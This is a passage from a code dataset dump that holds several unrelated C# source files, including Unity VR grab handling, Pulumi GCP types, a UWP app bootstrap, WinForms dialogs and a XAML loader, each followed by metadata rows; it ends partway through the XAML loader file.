content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
list
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
//========= Copyright 2016-2021, HTC Corporation. All rights reserved. =========== #pragma warning disable 0649 using HTC.UnityPlugin.ColliderEvent; using HTC.UnityPlugin.Utility; using System; using UnityEngine; using UnityEngine.Events; using UnityEngine.EventSystems; using UnityEngine.Serialization; using GrabberPool = HTC.UnityPlugin.Utility.ObjectPool<HTC.UnityPlugin.Vive.BasicGrabbable.Grabber>; namespace HTC.UnityPlugin.Vive { [AddComponentMenu("VIU/Object Grabber/Basic Grabbable", 0)] public class BasicGrabbable : GrabbableBase<ColliderButtonEventData, BasicGrabbable.Grabber> , IColliderEventDragStartHandler , IColliderEventDragFixedUpdateHandler , IColliderEventDragUpdateHandler , IColliderEventDragEndHandler { [Serializable] public class UnityEventGrabbable : UnityEvent<BasicGrabbable> { } public class Grabber : GrabberBase<ColliderButtonEventData> { private static GrabberPool m_pool; private ColliderButtonEventData m_eventData; public static Grabber Get(ColliderButtonEventData eventData) { if (m_pool == null) { m_pool = new GrabberPool(() => new Grabber()); } var grabber = m_pool.Get(); grabber.m_eventData = eventData; return grabber; } public static void Release(Grabber grabber) { grabber.m_eventData = null; m_pool.Release(grabber); } public override ColliderButtonEventData eventData { get { return m_eventData; } } public override RigidPose grabberOrigin { get { return new RigidPose(eventData.eventCaster.transform); } } public override RigidPose grabOffset { get; set; } } public bool alignPosition; public bool alignRotation; public Vector3 alignPositionOffset; public Vector3 alignRotationOffset; [Range(MIN_FOLLOWING_DURATION, MAX_FOLLOWING_DURATION)] [FormerlySerializedAs("followingDuration")] [SerializeField] private float m_followingDuration = DEFAULT_FOLLOWING_DURATION; [FormerlySerializedAs("overrideMaxAngularVelocity")] [SerializeField] private bool m_overrideMaxAngularVelocity = true; [FormerlySerializedAs("unblockableGrab")] [SerializeField] private bool m_unblockableGrab = true; [SerializeField] [FlagsFromEnum(typeof(ControllerButton))] private ulong m_primaryGrabButton = 0ul; [SerializeField] [FlagsFromEnum(typeof(ColliderButtonEventData.InputButton))] private uint m_secondaryGrabButton = 1u << (int)ColliderButtonEventData.InputButton.Trigger; [SerializeField] [HideInInspector] private ColliderButtonEventData.InputButton m_grabButton = ColliderButtonEventData.InputButton.Trigger; [SerializeField] private bool m_allowMultipleGrabbers = true; [SerializeField] private bool m_grabOnLastEntered = false; [SerializeField] private float m_minStretchScale = 1f; [SerializeField] private float m_maxStretchScale = 1f; [FormerlySerializedAs("afterGrabbed")] [SerializeField] private UnityEventGrabbable m_afterGrabbed = new UnityEventGrabbable(); [FormerlySerializedAs("beforeRelease")] [SerializeField] private UnityEventGrabbable m_beforeRelease = new UnityEventGrabbable(); [FormerlySerializedAs("onDrop")] [SerializeField] private UnityEventGrabbable m_onDrop = new UnityEventGrabbable(); // change rigidbody drop velocity here public override float followingDuration { get { return m_followingDuration; } set { m_followingDuration = Mathf.Clamp(value, MIN_FOLLOWING_DURATION, MAX_FOLLOWING_DURATION); } } public override bool overrideMaxAngularVelocity { get { return m_overrideMaxAngularVelocity; } set { m_overrideMaxAngularVelocity = value; } } public bool unblockableGrab { get { return m_unblockableGrab; } set { m_unblockableGrab = value; } } public bool grabOnLastEntered { get { return m_grabOnLastEntered; } set { m_grabOnLastEntered = value; } } public override float minScaleOnStretch { get { return m_minStretchScale; } set { m_minStretchScale = value; } } public override float maxScaleOnStretch { get { return m_maxStretchScale; } set { m_maxStretchScale = value; } } public UnityEventGrabbable afterGrabbed { get { return m_afterGrabbed; } } public UnityEventGrabbable beforeRelease { get { return m_beforeRelease; } } public UnityEventGrabbable onDrop { get { return m_onDrop; } } public ColliderButtonEventData grabbedEvent { get { return isGrabbed ? currentGrabber.eventData : null; } } public ulong primaryGrabButton { get { return m_primaryGrabButton; } set { m_primaryGrabButton = value; } } public uint secondaryGrabButton { get { return m_secondaryGrabButton; } set { m_secondaryGrabButton = value; } } public bool allowMultipleGrabbers { get { return m_allowMultipleGrabbers; } set { allowMultipleGrabbers = value; } } [Obsolete("Use IsSecondaryGrabButtonOn and SetSecondaryGrabButton instead")] public ColliderButtonEventData.InputButton grabButton { get { for (uint btn = 0u, btns = m_secondaryGrabButton; btns > 0u; btns >>= 1, ++btn) { if ((btns & 1u) > 0u) { return (ColliderButtonEventData.InputButton)btn; } } return ColliderButtonEventData.InputButton.None; } set { m_secondaryGrabButton = 1u << (int)value; } } private bool moveByVelocity { get { return !unblockableGrab && grabRigidbody != null && !grabRigidbody.isKinematic; } } public bool IsPrimeryGrabButtonOn(ControllerButton btn) { return EnumUtils.GetFlag(m_primaryGrabButton, (int)btn); } public void SetPrimeryGrabButton(ControllerButton btn, bool isOn = true) { EnumUtils.SetFlag(ref m_primaryGrabButton, (int)btn, isOn); } public void ClearPrimeryGrabButton() { m_primaryGrabButton = 0ul; } public bool IsSecondaryGrabButtonOn(ColliderButtonEventData.InputButton btn) { return EnumUtils.GetFlag(m_secondaryGrabButton, (int)btn); } public void SetSecondaryGrabButton(ColliderButtonEventData.InputButton btn, bool isOn = true) { EnumUtils.SetFlag(ref m_secondaryGrabButton, (int)btn, isOn); } public void ClearSecondaryGrabButton() { m_secondaryGrabButton = 0u; } [Obsolete("Use grabRigidbody instead")] public Rigidbody rigid { get { return grabRigidbody; } set { grabRigidbody = value; } } #if UNITY_EDITOR protected virtual void OnValidate() { RestoreObsoleteGrabButton(); } protected virtual void Reset() { m_grabOnLastEntered = true; } #endif private void RestoreObsoleteGrabButton() { if (m_grabButton == ColliderButtonEventData.InputButton.Trigger) { return; } ClearSecondaryGrabButton(); SetSecondaryGrabButton(m_grabButton, true); m_grabButton = ColliderButtonEventData.InputButton.Trigger; } protected override void Awake() { base.Awake(); RestoreObsoleteGrabButton(); afterGrabberGrabbed += () => m_afterGrabbed.Invoke(this); beforeGrabberReleased += () => m_beforeRelease.Invoke(this); onGrabberDrop += () => m_onDrop.Invoke(this); } protected virtual void OnDisable() { ForceRelease(); } protected override Grabber CreateGrabber(ColliderButtonEventData eventData) { var grabber = Grabber.Get(eventData); var offset = RigidPose.FromToPose(grabber.grabberOrigin, new RigidPose(transform)); if (alignPosition) { offset.pos = alignPositionOffset; } if (alignRotation) { offset.rot = Quaternion.Euler(alignRotationOffset); } grabber.grabOffset = offset; return grabber; } protected override void DestoryGrabber(Grabber grabber) { Grabber.Release(grabber); } protected bool IsValidGrabButton(ColliderButtonEventData eventData) { if (m_primaryGrabButton > 0ul) { ViveColliderButtonEventData viveEventData; if (eventData.TryGetViveButtonEventData(out viveEventData) && IsPrimeryGrabButtonOn(viveEventData.viveButton)) { return true; } } return m_secondaryGrabButton > 0u && IsSecondaryGrabButtonOn(eventData.button); } public virtual void OnColliderEventDragStart(ColliderButtonEventData eventData) { if (!IsValidGrabButton(eventData)) { return; } if (!m_allowMultipleGrabbers) { ForceRelease(); } if (m_grabOnLastEntered && !eventData.eventCaster.lastEnteredCollider.transform.IsChildOf(transform)) { return; } AddGrabber(eventData); } public virtual void OnColliderEventDragFixedUpdate(ColliderButtonEventData eventData) { if (isGrabbed && moveByVelocity && currentGrabber.eventData == eventData) { OnGrabRigidbody(); } } public virtual void OnColliderEventDragUpdate(ColliderButtonEventData eventData) { if (isGrabbed && !moveByVelocity && currentGrabber.eventData == eventData) { RecordLatestPosesForDrop(Time.time, 0.05f); OnGrabTransform(); } } public virtual void OnColliderEventDragEnd(ColliderButtonEventData eventData) { RemoveGrabber(eventData); } } }
41.6375
185
0.663464
[ "MIT" ]
CharlesCai123/Wearable-MultiCamera-System
Assets/HTC.UnityPlugin/ViveInputUtility/Scripts/Misc/BasicGrabbable.cs
9,995
C#
// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.Gcp.Compute.Outputs { [OutputType] public sealed class ReservationSpecificReservationInstancePropertiesLocalSsd { /// <summary> /// The size of the disk in base-2 GB. /// </summary> public readonly int DiskSizeGb; /// <summary> /// The disk interface to use for attaching this disk. /// Default value is `SCSI`. /// Possible values are `SCSI` and `NVME`. /// </summary> public readonly string? Interface; [OutputConstructor] private ReservationSpecificReservationInstancePropertiesLocalSsd( int diskSizeGb, string? @interface) { DiskSizeGb = diskSizeGb; Interface = @interface; } } }
28.815789
88
0.63379
[ "ECL-2.0", "Apache-2.0" ]
dimpu47/pulumi-gcp
sdk/dotnet/Compute/Outputs/ReservationSpecificReservationInstancePropertiesLocalSsd.cs
1,095
C#
using FinanceDataMigrationApi.V1.Domain; using System; namespace FinanceDataMigrationApi.V1.Boundary.Response { public class MigrationRunResponse { public Guid Id { get; set; } public string DynamoDbEntity { get; set; } public long ExpectedRowsToMigrate { get; set; } public long ActualRowsMigrated { get; set; } public long StartRowId { get; set; } public long EndRowId { get; set; } public DateTime LastRunDate { get; set; } public MigrationRunStatus LastRunStatus { get; set; } public DateTime UpdatedAt { get; set; } } }
32.105263
61
0.659016
[ "MIT" ]
LBHackney-IT/finance-data-migration
FinanceDataMigrationApi/V1/Boundary/Response/MigrationRunResponse.cs
610
C#
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices.WindowsRuntime; using Windows.ApplicationModel; using Windows.ApplicationModel.Activation; using Windows.Foundation; using Windows.Foundation.Collections; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Controls.Primitives; using Windows.UI.Xaml.Data; using Windows.UI.Xaml.Input; using Windows.UI.Xaml.Media; using Windows.UI.Xaml.Navigation; namespace NamedFontSizes.UWP { /// <summary> /// Provides application-specific behavior to supplement the default Application class. /// </summary> sealed partial class App : Application { /// <summary> /// Initializes the singleton application object. This is the first line of authored code /// executed, and as such is the logical equivalent of main() or WinMain(). /// </summary> public App() { this.InitializeComponent(); this.Suspending += OnSuspending; } /// <summary> /// Invoked when the application is launched normally by the end user. Other entry points /// will be used such as when the application is launched to open a specific file. /// </summary> /// <param name="e">Details about the launch request and process.</param> protected override void OnLaunched(LaunchActivatedEventArgs e) { #if DEBUG if (System.Diagnostics.Debugger.IsAttached) { this.DebugSettings.EnableFrameRateCounter = true; } #endif Frame rootFrame = Window.Current.Content as Frame; // Do not repeat app initialization when the Window already has content, // just ensure that the window is active if (rootFrame == null) { // Create a Frame to act as the navigation context and navigate to the first page rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; Xamarin.Forms.Forms.Init(e); if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { //TODO: Load state from previously suspended application } // Place the frame in the current Window Window.Current.Content = rootFrame; } if (rootFrame.Content == null) { // When the navigation stack isn't restored navigate to the first page, // configuring the new page by passing required information as a navigation // parameter rootFrame.Navigate(typeof(MainPage), e.Arguments); } // Ensure the current window is active Window.Current.Activate(); } /// <summary> /// Invoked when Navigation to a certain page fails /// </summary> /// <param name="sender">The Frame which failed navigation</param> /// <param name="e">Details about the navigation failure</param> void OnNavigationFailed(object sender, NavigationFailedEventArgs e) { throw new Exception("Failed to load Page " + e.SourcePageType.FullName); } /// <summary> /// Invoked when application execution is being suspended. Application state is saved /// without knowing whether the application will be terminated or resumed with the contents /// of memory still intact. /// </summary> /// <param name="sender">The source of the suspend request.</param> /// <param name="e">Details about the suspend request.</param> private void OnSuspending(object sender, SuspendingEventArgs e) { var deferral = e.SuspendingOperation.GetDeferral(); //TODO: Save application state and stop any background activity deferral.Complete(); } } }
37.342593
99
0.620878
[ "Apache-2.0" ]
DLozanoNavas/xamarin-forms-book-samples
Chapter03/FS/NamedFontSizes/NamedFontSizes/NamedFontSizes.UWP/App.xaml.cs
4,033
C#
/******************************************************************* * 版权所有: 深圳市震有科技有限公司 * 文件名称: KeyModifierCollection.cs * 作 者: chenzhifen * 创建日期: 2014-04-11 23:42 * 文件版本: 1.0.0.0 * 修改时间: 修改人: 修改内容: *******************************************************************/ using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.Windows.Input; namespace ModernUI.ExtendedToolkit.Input { [TypeConverter(typeof(KeyModifierCollectionConverter))] public class KeyModifierCollection : Collection<KeyModifier> { #region AreActive Property public bool AreActive { get { if (Count == 0) return true; // if the Blocked modifier is present, then the action is not allowed // so simply return false if (Contains(KeyModifier.Blocked)) return false; if (Contains(KeyModifier.Exact)) return IsExactMatch(); return MatchAny(); } } #endregion private static bool IsKeyPressed(KeyModifier modifier, ICollection<Key> keys) { switch (modifier) { case KeyModifier.Alt: return keys.Contains(Key.LeftAlt) || keys.Contains(Key.RightAlt); case KeyModifier.LeftAlt: return keys.Contains(Key.LeftAlt); case KeyModifier.RightAlt: return keys.Contains(Key.RightAlt); case KeyModifier.Ctrl: return keys.Contains(Key.LeftCtrl) || keys.Contains(Key.RightCtrl); case KeyModifier.LeftCtrl: return keys.Contains(Key.LeftCtrl); case KeyModifier.RightCtrl: return keys.Contains(Key.RightCtrl); case KeyModifier.Shift: return keys.Contains(Key.LeftShift) || keys.Contains(Key.RightShift); case KeyModifier.LeftShift: return keys.Contains(Key.LeftShift); case KeyModifier.RightShift: return keys.Contains(Key.RightShift); case KeyModifier.None: return true; default: throw new NotSupportedException("Unknown modifier"); } } private static bool HasModifier(Key key, ICollection<KeyModifier> modifiers) { switch (key) { case Key.LeftAlt: return modifiers.Contains(KeyModifier.Alt) || modifiers.Contains(KeyModifier.LeftAlt); case Key.RightAlt: return modifiers.Contains(KeyModifier.Alt) || modifiers.Contains(KeyModifier.RightAlt); case Key.LeftCtrl: return modifiers.Contains(KeyModifier.Ctrl) || modifiers.Contains(KeyModifier.LeftCtrl); case Key.RightCtrl: return modifiers.Contains(KeyModifier.Ctrl) || modifiers.Contains(KeyModifier.RightCtrl); case Key.LeftShift: return modifiers.Contains(KeyModifier.Shift) || modifiers.Contains(KeyModifier.LeftShift); case Key.RightShift: return modifiers.Contains(KeyModifier.Shift) || modifiers.Contains(KeyModifier.RightShift); default: throw new NotSupportedException("Unknown key"); } } private bool IsExactMatch() { HashSet<KeyModifier> modifiers = GetKeyModifiers(); HashSet<Key> keys = GetKeysPressed(); // No key must be pressed for the modifier None. if (Contains(KeyModifier.None)) return (modifiers.Count == 0) && (keys.Count == 0); // Make sure every modifier has a matching key pressed. foreach (KeyModifier modifier in modifiers) { if (!KeyModifierCollection.IsKeyPressed(modifier, keys)) return false; } // Make sure every key pressed has a matching modifier. foreach (Key key in keys) { if (!KeyModifierCollection.HasModifier(key, modifiers)) return false; } return true; } private bool MatchAny() { if (Contains(KeyModifier.None)) return true; HashSet<KeyModifier> modifiers = GetKeyModifiers(); HashSet<Key> keys = GetKeysPressed(); foreach (KeyModifier modifier in modifiers) { if (KeyModifierCollection.IsKeyPressed(modifier, keys)) return true; } return false; } private HashSet<KeyModifier> GetKeyModifiers() { HashSet<KeyModifier> modifiers = new HashSet<KeyModifier>(); foreach (KeyModifier modifier in this) { switch (modifier) { case KeyModifier.Alt: case KeyModifier.LeftAlt: case KeyModifier.RightAlt: case KeyModifier.Ctrl: case KeyModifier.LeftCtrl: case KeyModifier.RightCtrl: case KeyModifier.Shift: case KeyModifier.LeftShift: case KeyModifier.RightShift: { if (!modifiers.Contains(modifier)) { modifiers.Add(modifier); } } break; default: break; } } return modifiers; } private HashSet<Key> GetKeysPressed() { HashSet<Key> keys = new HashSet<Key>(); if (Keyboard.IsKeyDown(Key.LeftAlt)) keys.Add(Key.LeftAlt); if (Keyboard.IsKeyDown(Key.RightAlt)) keys.Add(Key.RightAlt); if (Keyboard.IsKeyDown(Key.LeftCtrl)) keys.Add(Key.LeftCtrl); if (Keyboard.IsKeyDown(Key.RightCtrl)) keys.Add(Key.RightCtrl); if (Keyboard.IsKeyDown(Key.LeftShift)) keys.Add(Key.LeftShift); if (Keyboard.IsKeyDown(Key.RightShift)) keys.Add(Key.RightShift); return keys; } } }
33.37037
86
0.471559
[ "MIT" ]
chuongmep/ModernUI
Genew.ModernUI/Genew.ModernUI/ExtendedToolkit/Core/Input/KeyModifierCollection.cs
7,306
C#
using System.IO; using System.Runtime.Serialization; using System.Text; namespace MonitorWang.Core { public class SerialisationHelper<T> { /// <summary> /// Serialize the object using the DataContractSerializer /// </summary> /// <param name="encoding">The encoding to use when serializing.</param> /// <param name="entity">The entity to serialize.</param> /// <returns></returns> public static string DataContractSerialize(Encoding encoding, T entity) { var serializer = new DataContractSerializer(typeof(T)); using (var ms = new MemoryStream()) { serializer.WriteObject(ms, entity); return encoding.GetString(ms.ToArray()); } } /// <summary> /// Serialize the object using the DataContractSerializer, defaults to using UTF8 encoding /// </summary> /// <param name="entity">The entity to serialize.</param> /// <returns></returns> public static string DataContractSerialize(T entity) { return DataContractSerialize(Encoding.UTF8, entity); } /// <summary> /// Deserialize the object using the DataContractSerializer /// </summary> /// <param name="encoding">The encoding to use when deserializing.</param> /// <param name="entity">The entity to deserialize.</param> /// <returns></returns> public static T DataContractDeserialize(Encoding encoding, string entity) { var serializer = new DataContractSerializer(typeof(T)); using (var ms = new MemoryStream(encoding.GetBytes(entity))) { return (T)serializer.ReadObject(ms); } } /// <summary> /// Deserialize the object using the DataContractSerializer, defaults to using UTF8 encoding /// </summary> /// <param name="entity">The entity to deserialize.</param> /// <returns></returns> public static T DataContractDeserialize(string entity) { return DataContractDeserialize(Encoding.UTF8, entity); } } }
36.903226
101
0.573427
[ "BSD-2-Clause", "Apache-2.0" ]
RobGibbens/MonitorWang
MonitorWang.Core/SerialisationHelper.cs
2,288
C#
using System.IO; using System.Text; using HttpServer; namespace HttpServer.FormDecoders { /// <summary> /// Interface for form content decoders. /// </summary> public interface FormDecoder { /// <summary> /// /// </summary> /// <param name="stream">Stream containing the content</param> /// <param name="contentType">Content type (with any additional info like boundry). Content type is always supplied in lower case</param> /// <param name="encoding">Stream enconding</param> /// <returns>A http form, or null if content could not be parsed.</returns> /// <exception cref="InvalidDataException">If contents in the stream is not valid input data.</exception> HttpForm Decode(Stream stream, string contentType, Encoding encoding); /// <summary> /// Checks if the decoder can handle the mime type /// </summary> /// <param name="contentType">Content type (with any additional info like boundry). Content type is always supplied in lower case.</param> /// <returns>True if the decoder can parse the specified content type</returns> bool CanParse(string contentType); } }
40.5
146
0.651029
[ "BSD-3-Clause" ]
Ana-Green/halcyon-1
ThirdParty/HttpServer/HttpServer/FormDecoders/FormDecoder.cs
1,215
C#
#region License /* Copyright (c) 2010-2014 Danko Kozar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion License using System; using System.Collections.Generic; using eDriven.Gui.Designer; using eDriven.Gui.Designer.Adapters; using eDriven.Gui.Editor.Hierarchy; using UnityEngine; namespace eDriven.Gui.Editor.Building { /// <summary> /// Processes edit mode nodes of components /// </summary> internal static class EditModeMovesProcessor { internal static void Process(List<Node> nodes) { if (nodes.Count == 0) return; //Debug.Log(string.Format("Processing {0} moves in edit mode.", nodes.Count)); foreach (Node node in nodes) { /** * 1. Process transforms * */ Transform transform = node.Transform; if (null == node.Transform) throw new Exception("Transform is null"); /*if (null == transform) continue; // ROOT*/ //Debug.Log("node.Transform: " + transform); ComponentAdapter adapter = GuiLookup.GetAdapter(transform); bool isStage = adapter is StageAdapter; Transform oldParentTransform = node.OldParentTransform; Transform newParentTransform = node.ParentTransform; /* This happens when a stage moved to root */ if (null == newParentTransform && !isStage) continue; // not a stage, return (if stage, should process) - only stage could be added to root /** * The adapter was moved * It is still placed on the same (moved) transform * We are accessing the old and the new parent adapter via transforms: * 1. old parent transform could be referenced using the node.OldParentTransform * 2. new parent transform could be referenced using the node.ParentTransform * */ GroupAdapter oldParentAdapter = null != oldParentTransform ? GuiLookup.GetAdapter(oldParentTransform) as GroupAdapter : null; GroupAdapter newParentAdapter = null != newParentTransform ? GuiLookup.GetAdapter(newParentTransform) as GroupAdapter : null; Debug.Log(string.Format("[{0}] -> moving from [{1}] to [{2}]", adapter, null == oldParentAdapter ? "-" : oldParentAdapter.ToString(), null == newParentAdapter ? "-" : newParentAdapter.ToString() )); /** * 2. Sanity check * */ if (null == newParentAdapter && !isStage) { throw new Exception("eDriven.Gui components could be added to containers only"); } /** * 3. Process adapters * */ if (null != oldParentAdapter) { oldParentAdapter.RemoveChild(adapter); ParentChildLinker.Instance.Update(oldParentAdapter); } if (null != newParentAdapter) { newParentAdapter.AddChild(adapter, true); ParentChildLinker.Instance.Update(newParentAdapter); } /** * 4. Set transform * */ node.Transform.parent = newParentTransform; } } } }
37.126984
115
0.578666
[ "MIT" ]
dkozar/edriven-gui
eDriven/eDriven.Gui.Editor/Building/EditModeMovesProcessor.cs
4,680
C#
using System; using System.ComponentModel; using System.Runtime.CompilerServices; using FacebookDataExplorer.Uwp.ViewModels; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Navigation; namespace FacebookDataExplorer.Uwp.Views { // TODO WTS: Remove this example page when/if it's not needed. // This page is an example of how to launch a specific page in response to a protocol launch and pass it a value. // It is expected that you will delete this page once you have changed the handling of a protocol launch to meet // your needs and redirected to another of your pages. public sealed partial class UriSchemeExamplePage : Page { private UriSchemeExampleViewModel ViewModel { get { return DataContext as UriSchemeExampleViewModel; } } public UriSchemeExamplePage() { InitializeComponent(); } protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); // Capture the passed in value and assign it to a property that's displayed on the view ViewModel.Secret = e.Parameter.ToString(); } } }
32.135135
117
0.687132
[ "MIT" ]
LanceMcCarthy/FacebookDataExplorer
FacebookDataExplorer/FacebookDataExplorer.Uwp/Views/UriSchemeExamplePage.xaml.cs
1,191
C#
#region License //------------------------------------------------------------------------------------------------ // <License> // <Copyright> 2017 © Top Nguyen → AspNetCore → Puppy </Copyright> // <Url> http://topnguyen.net/ </Url> // <Author> Top </Author> // <Project> Puppy </Project> // <File> // <Name> TypeExtensions.cs </Name> // <Created> 23/07/17 11:57:36 PM </Created> // <Key> d5ea3f05-1597-40ce-9388-ffadcc9af058 </Key> // </File> // <Summary> // TypeExtensions.cs // </Summary> // <License> //------------------------------------------------------------------------------------------------ #endregion License using System; using System.Collections.Generic; using System.Linq; using System.Reflection; namespace Puppy.Core.TypeUtils { public static class TypeExtensions { public static bool IsGenericEnumerable(this Type type) => type.GetTypeInfo().IsGenericType && type.GetGenericTypeDefinition() == typeof(IEnumerable<>); public static bool IsGenericType(this Type type, Type genericType) => type.GetTypeInfo().IsGenericType && type.GetGenericTypeDefinition() == genericType; public static bool IsImplementGenericInterface(this Type type, Type interfaceType) => type.IsGenericType(interfaceType) || type.GetTypeInfo().ImplementedInterfaces.Any(@interface => @interface.IsGenericType(interfaceType)); public static Assembly GetAssembly(this Type type) => type.GetTypeInfo().Assembly; public static string GetAssemblySimpleName(this Type type) => type.GetAssembly().GetName().Name; public static IEnumerable<Assembly> GetAssemblies(this ICollection<Type> types) => types.Select(x => x.GetAssembly()); public static IEnumerable<Assembly> GetAssemblies(this IEnumerable<Type> types) => types.Select(x => x.GetAssembly()); public static bool IsEnumType(this Type type) { return type.GetTypeInfo().IsEnum; } public static bool IsNullableEnumType(this Type type) { Type u = Nullable.GetUnderlyingType(type); return u != null && u.IsEnumType(); } public static bool IsNumericType(this Type type) { if (type == null || type.IsEnumType() || type.IsNullableEnumType()) { return false; } switch (Type.GetTypeCode(type)) { case TypeCode.Byte: case TypeCode.Decimal: case TypeCode.Double: case TypeCode.Int16: case TypeCode.Int32: case TypeCode.Int64: case TypeCode.SByte: case TypeCode.Single: case TypeCode.UInt16: case TypeCode.UInt32: case TypeCode.UInt64: return true; case TypeCode.Object: if (type.GetTypeInfo().IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>)) { return Nullable.GetUnderlyingType(type).IsNumericType(); } return false; } return false; } /// <summary> /// Return a Type must not nullable type /// </summary> /// <param name="type"></param> /// <returns></returns> public static Type GetNotNullableType(this Type type) { return Nullable.GetUnderlyingType(type) ?? type; } } }
37.21875
231
0.553037
[ "Unlicense" ]
stssoftware/Puppy
Puppy.Core/TypeUtils/TypeExtensions.cs
3,580
C#
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace postApiTools { using CCWin; public partial class SavePostApi : CCSkinMain { /// <summary> /// url参数 /// </summary> private string[,] urlData = null; /// <summary> /// url /// </summary> private string url = ""; /// <summary> /// url类型 /// </summary> private string urlType = ""; /// <summary> /// 接口文档 /// </summary> private string desc = ""; private TreeView tv = null; public SavePostApi(string[,] urlData, string url, string urlType, string desc, TreeView tv) { InitializeComponent(); this.urlData = urlData; this.url = url; this.urlType = urlType; this.desc = desc; this.tv = tv; } /// <summary> /// 数据加载 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void SavePostApi_Load(object sender, EventArgs e) { textBox_url.Text = this.url; textBox_desc.Text = this.desc; pForm1TreeView.showMainData(treeView, imageList_treeview);//加载树 } /// <summary> /// 保存接口 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void button_save_Click(object sender, EventArgs e) { string name = textBox_name.Text; string desc = textBox_desc.Text; if (name == "") { MessageBox.Show("名称不能为空"); return; } if (desc == "") { if (MessageBox.Show("没有接口文档还是保存么??", "确认", MessageBoxButtons.OKCancel, MessageBoxIcon.Question) != DialogResult.OK) { return; } } if (pForm1TreeView.addApi(treeView, name, desc, url, urlType, urlData)) { TreeNode tn = pForm1TreeView.FindNodeByName(tv.Nodes, treeView.SelectedNode.Name);//返回节点 tv.Invoke(new Action(() => { TreeNode addtn = tn.Nodes.Add(pForm1TreeView.addApiHash, name);//无刷新显示添加 addtn.ImageIndex = 1; //设置显示图片 addtn.SelectedImageIndex = 1;//设置显示图片 })); } else { MessageBox.Show("添加失败 请重试:" + pForm1TreeView.error); return; } this.Close(); } private void button_back_Click(object sender, EventArgs e) { this.Close(); } /// <summary> /// 键盘注册事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void SavePostApi_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Escape)//esc按键关闭窗口 { this.Close(); } } } }
28.955752
131
0.485024
[ "MIT" ]
jackapi/postApiTools
postApiTools/SavePostApi.cs
3,440
C#
// // XamlLoader.cs // // Author: // Stephane Delcroix <stephane@mi8.be> // // Copyright (c) 2018 Mobile Inception // Copyright (c) 2018-2014 Xamarin, Inc // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text.RegularExpressions; using System.Xml; using Tizen.NUI.BaseComponents; using Tizen.NUI.Binding; using Tizen.NUI.Binding.Internals; namespace Tizen.NUI.Xaml.Internals { /// This will be public opened in tizen_6.0 after ACR done. Before ACR, need to be hidden as inhouse API. [EditorBrowsable(EditorBrowsableState.Never)] [Obsolete ("Replaced by ResourceLoader")] public static class XamlLoader { static Func<Type, string> xamlFileProvider; /// This will be public opened in tizen_6.0 after ACR done. Before ACR, need to be hidden as inhouse API. [EditorBrowsable(EditorBrowsableState.Never)] public static Func<Type, string> XamlFileProvider { get { return xamlFileProvider; } internal set { xamlFileProvider = value; Tizen.NUI.Xaml.DesignMode.IsDesignModeEnabled = true; //¯\_(??_/¯ the previewer forgot to set that bool DoNotThrowOnExceptions = value != null; } } internal static bool DoNotThrowOnExceptions { get; set; } } } namespace Tizen.NUI.Xaml { static internal class XamlLoader { public static void Load(object view, Type callingType) { try { var xaml = GetXamlForType(callingType); if (string.IsNullOrEmpty(xaml)) throw new XamlParseException(string.Format("Can't get xaml from type {0}", callingType), new XmlLineInfo()); Load(view, xaml); } catch (XamlParseException e) { Tizen.Log.Fatal("NUI", "XamlParseException e.Message: " + e.Message); Console.WriteLine("\n[FATAL] XamlParseException e.Message: {0}\n", e.Message); } } public static T 